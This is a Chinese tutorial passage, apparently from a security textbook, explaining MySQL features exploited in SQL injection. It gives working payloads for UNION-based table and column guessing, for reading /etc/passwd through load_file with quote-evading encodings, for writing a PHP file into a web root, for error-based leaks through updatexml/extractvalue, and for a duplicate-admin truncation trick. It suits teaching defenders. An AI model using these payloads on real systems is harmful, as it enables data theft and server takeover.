3. MySQL数据库特性
1)MySQL数据库注释
MySQL数据库注释如下。
- #:注释从'#'到行位。
- --:注释从'--'序列到行位。
- /**/:注释/*序列到后面*/序列之间的字符。
具体可参照以下代码。
//在mysql中如何写注释语句 mysql> SELECT 1+1; # 这个注释直到该行结束 mysql> SELECT 1+1; -- 这个注释直到该行结束 mysql> SELECT 1 /* 这是一个在行中间的注释 */ + 1; mysql> SELECT 1+ /* 这是一个 多行注释的形式 */ 1;
但是有一个特例。
MariaDB [sec]> select /*!5555,name*/ id from user; +------+-------+ | 5555 | id | +------+-------+ | 5555 | jerry | | 5555 | cindy | | 5555 | linda | | 5555 | susan | | 5555 | peter | +------+-------+ 5 rows in set (0.00 sec)
表示如果当前版本高于5.55.5,name这列被显示,否则显示id这列。
2)获得MySQL的元信息
正如上一节讲到,可以通过联合查询来或者数据库的元信息。
查询数据库名称
MariaDB [sec]> select SCHEMA_NAME fromINFORMATION_SCHEMA.SCHEMATA LIMIT 0,20; +--------------------+ | SCHEMA_NAME | +--------------------+ | information_schema | | mysql | | performance_schema | | phpmyadmin | | sec | | test | +--------------------+ 6 rows in set (0.00 sec)
查询当前数据库表
MariaDB [sec]> select TABLE_NAME fromINFORMATION_SCHEMA.TABLES where TABLE_SCHEMA =(select DATABASE()) LIMIT 0,10; +------------+ | TABLE_NAME | +------------+ | paper | | user |
查询表中所有字段
MariaDB [sec]> select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNSwhere TABLE_NAME='user' LIMIT 0,10; +-------------+ | COLUMN_NAME | +-------------+ | Host | | User | | Password | | Select_priv | | Insert_priv | | Update_priv | | Delete_priv | | Create_priv | | Drop_priv | | Reload_priv | +-------------+ 10 rows in set (0.02 sec)
来看这么一个联合查询
MariaDB[sec]> select id,name,password from user union select 1,2,3; +----+-------+----------+ | id | name |password | +----+-------+----------+ | 1 | jerry |654321 | | 2 | cindy |123456 | | 3 | linda |knyzh158 | | 4 | susan |qwert | | 5 | peter |zxcvb | | 1 | 2 | 3 | +----+-------+----------+ 6 rows in set (0.00 sec)
首先找到一个存在SQL注入的网页,然后利用上面这个联合查询来猜测数据库中可能存在哪些表,表中可能存在哪些字段。
网站http://www.domain.com/sec/21/jsp/index.jsp?id=3存在SQL注入漏洞。页面显示3号用户的用户信息。猜测是否存在一个表名为person,用http://www.domain.com/sec/21/jsp/index.jsp?id=3 union all select 1,2,3 from person刺探,这是页面出现500 error,说明不存在person这个表,然后根据经验采用各种名称,当猜测表名可能为user,用http://www.domain.com/sec/21/jsp/index.jsp?id=3union all select 1,2,3 from user刺探,没有出现错误信息,且出现了一堆如25一堆“用户名:2,密码:3”信息,说明当前表名为user。
25 猜测到当前表名为当前表名为user
然后可以进一步猜字段,比如先猜测字段名是否为username,在地址栏中输入:http:// www.domain.com/sec/21/jsp/index.jsp?i?id=3 union all select 1,2,username from user,出现500 error,进一步猜,当猜到字段名为name的时候(这时URL为http:// www.domain.com/sec/21/jsp/index.jsp?i?id=3 union all select 1,2, name from user),显示类似如26信息,表示猜到了存在一个字段名为user,并且可以看见所有这个字段下的字段名。
26 猜测到当前user表存在一个字段name
3)读写文件
①读文件
MySQL提供了load_file()函数用来读文件,Into outfile()函数用来写文件
读文件:
...union select 1,load_file('/etc/passwd'),3, 4, 5, 6
通过这个语句,可以读取Linix目录中/etc/passwd文件。假设程序中不允许出现单引号',可以把上面语句改为。
...unionselect1,load_file(0x2F6563742F706173737764),3,4,5,6
0x2F6563742F706173737764为'/etc/passwd'十六进制格式,或者利用
...union se1ect1,load_file(char(47,101,99,116,47,112,97,115,115,119,100)),3,4,5,6
47,101,99,116,47,112,97,115,115,119,100为/etc/passwd 的ASCII码。如果页面出现乱码,可以用下面hax()函数办法来解决。
... union selecthex(load_file(char(99,58,92,49,46,116,120,116)));
②写文件
可以通过下面语句来写文件。
...union select '<?php phpinfo(): ?>' into outfile'c:\wwwroot\1.php'
或
...union select char(99,58,92,50,46,116,120,116) intooutfile 'c: \wwwroot\1.php'
对于读写文件注意Linux要有足够的读写权限,并且文件必须为全路径名称。
4)利用MySQL函数
①concat()或 concat_ws()函数
concat ()函数用于将多个字符串连接成一个字符串。
concat_ws() 代表 concat With Separator ,是concat()的特殊形式。第一个参数是其它参数的分隔符。
比如:
MariaDB [sec]> select name from user where id =3 unionselect concat_ws(0x2c,user(),database(),version()); +------------------------------------+ | name | +------------------------------------+ | linda | | root@localhost,sec,10.1.19-MariaDB | +------------------------------------+ 2 rows in set (0.00 sec)
0x2c为逗号。在查询的第二行root@localhost,sec,10.1.19-MariaDB通过逗号分为root@localhost为当前用户、sec为当前数据库、10.1.19-MariaDB为当前版本。
②updatexml()和extractvalue()函数
在5.1.5中添加了updatexml()函数和extractvalue()函数
lupdatexml()函数:对XML文档进行更新的函数。
lextractvalue()函数:对XML文档进行查询的函数。
第二个参数需要xpath格式的字符串。如果不符合要求,这显示不符合标准的信息,黑客可以利用这个方法来获取数据库元信息。
显示数据库版本。
MariaDB [sec]> select * from user where id=3 andupdatexml(1,(concat(0x7c,(select @@version))),1); ERROR 1105 (HY000): XPATH syntax error:'|10.1.19-MariaDB'
由于第二个参数不是xpath格式,所以先显示XPATH syntax error,然后再显示现在的内容为|10.1.19-MariaDB,即数据库版本。
显示当前用户。
MariaDB [sec]> select * from user where id=3 andextractvalue(1,(concat(0x7c,(select user())))); ERROR 1105 (HY000): XPATH syntax error: '|root@localhost'
同样由于第二个参数不是xpath格式,所以先显示XPATH syntax error,然后再显示现在的内容为root@localhost,即当前用户。
更多MySQL函数可以查询MySQL的官方网站。
5)长度折断
下面这条语句往user表中插入了一个系统管理员admin的账户,是通过正常手段生成的。
insert into user(name,password) values('admin','rrbbyqutb@66_18T');
黑客可以通过如下语句,也添加了一个admin的账户。
insert into user(name,password) values('admin ','123456');
因为在前期判断中
select * from user where username='admin ';
返回是一个null对象,说明系统中不存在,所以可以建立。
然而使用查询语句。
select * from user where name='admin';
则可以查询出来两条记录,所以一旦黑客成功,这可以使用自己定义的用户名/密码登录了。